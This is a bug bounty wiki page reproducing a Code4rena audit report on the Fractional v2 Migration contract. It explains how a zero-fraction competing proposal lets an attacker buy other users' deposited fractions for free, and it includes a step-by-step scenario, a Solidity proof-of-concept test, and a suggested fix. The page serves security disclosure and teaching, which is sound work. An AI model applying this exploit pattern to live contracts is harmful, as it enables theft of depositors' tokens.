Skip to content
Business logic Audit finding Intermediate

Any fractions deposited into any proposal can be stolen at any time until it is commited

The Migration contract's buyout start takes all fractions held by the contract, not just those from the specific proposal. An attacker can start a competing proposal with zero fractions, commit it, and then buy out the victim's deposited fractions for free.

panprog Follow

Originally disclosed on Code4rena

Submitted by panprog, also found by 0x52, 0xsanson, hansfriese, shenwilly, and zzzitron

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Migration.sol#L210

https://github.com/code-423n4/2022-07-fractional/blob/8f2697ae727c60c93ea47276f8fa128369abfe51/src/modules/Buyout.sol#L73

Impact

When buyout starts, it takes all fractions owned by proposer. This means that when Migration contract starts a buyout, it takes all fractions it has, not just the fractions from the proposal. This is easily exploitable by anyone.

Stealing fractions scenario:

  1. Bob starts a proposal, deposits 3000 fractions
  2. Alice immediately starts another proposal with targetPrice = 0, deposits 0 fractions and minimal ether (value: 1, which is 10^-18 ether)
  3. Since price is larger than targetPrice, Alice immediately commits the proposal
  4. Buyout is started, but instead of 0 fractions it has 3000 fractions from bob, because starting buyout took all Migration’s fractions.
  5. Alice immediately buys 3000 fractions from buyout for free (0 ether).
  6. At this point Alice has successfully stolen all deposited fractions.

Proof of Concept

Add this code to test/Migration.t.sol

function testPanprogBugH4() public {
	initializeMigration(alice, bob, 10000, 10000, true);

	(nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver();
	// Migrate to a vault with no permissions (just to test out migration)
	address[] memory newModules = new address[](2);

	newModules[0] = migration;
	newModules[1] = modules[1];

	// Bob makes the proposal
	bob.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 2,
		10 ether
	);
	// Bob joins the proposal with 3000 fractions
	bob.migrationModule.join{value: 1 ether}(vault, 1, 3000);

	// Alice starts a competing proposal (we use bob's data for simplicity)
	alice.migrationModule.propose(
		vault,
		newModules,
		nftReceiverPlugins,
		nftReceiverSelectors,
		TOTAL_SUPPLY * 10,
		0 ether
	);

	// Alice joins her proposal with 0 fractions and minimum allowed ether (for the price to be above target)
	alice.migrationModule.join{value: 1}(vault, 2, 0);

	// since the target price is reached, alice starts the buyout on her proposal
	alice.migrationModule.commit(vault, 2);

	// at this point buyout should be empty, but in fact due to bug it has 3000 fractions from bob
	// alice can now buy fractions from buyout for free (it should revert, but it doesn't)
	vm.expectRevert(
		abi.encodeWithSelector(IBuyout.InvalidPayment.selector)
	);
	alice.buyoutModule.buyFractions(vault, 3000);
}

Recommended Mitigation Steps

Buyout start function should include amount of fractions a proposer deposits, and Migration’s commit function should specify correct fractions amount when starting a buyout.

stevennevins (Fractional) confirmed

HardlyDifficult (judge) commented:

An attacker can steal fractions that have that have been used to join a migration. Agree this is a High risk issue.

Making this submission the primary instance for including a coded POC.


The original report as published on Code4rena, by panprog. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The Buyout start function does not specify which fractions to take, so it takes all fractions held by the Migration contract instead of only those from the committed proposal.

Impact

An attacker can steal all fractions deposited into any proposal before it is committed, as demonstrated by the proof of concept.

What the attacker needed

Victim deposits fractions into a proposal; attacker can start a competing proposal; attacker has minimal ether

The fix

The Buyout start function should include the amount of fractions a proposer deposits, and the Migration commit function should specify the correct fractions amount when starting a buyout.

How it was found

  1. Bob starts a proposal and deposits 3000 fractions.
  2. Alice starts another proposal with targetPrice = 0, deposits 0 fractions and minimal ether.
  3. Alice commits her proposal because the price is above targetPrice.
  4. The buyout starts and takes all 3000 fractions from Bob.
  5. Alice buys the 3000 fractions from the buyout for free.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A user deposits fractions into a proposal to migrate a vault. The system starts a buyout that should only take fractions from that proposal, but it takes all fractions held by the contract. An attacker can create a cheap proposal, trigger the buyout, and then buy the victim's fractions for almost nothing.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by panprog

View all

66 more disclosed reports, best first.

More from Fractional v2 contest

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.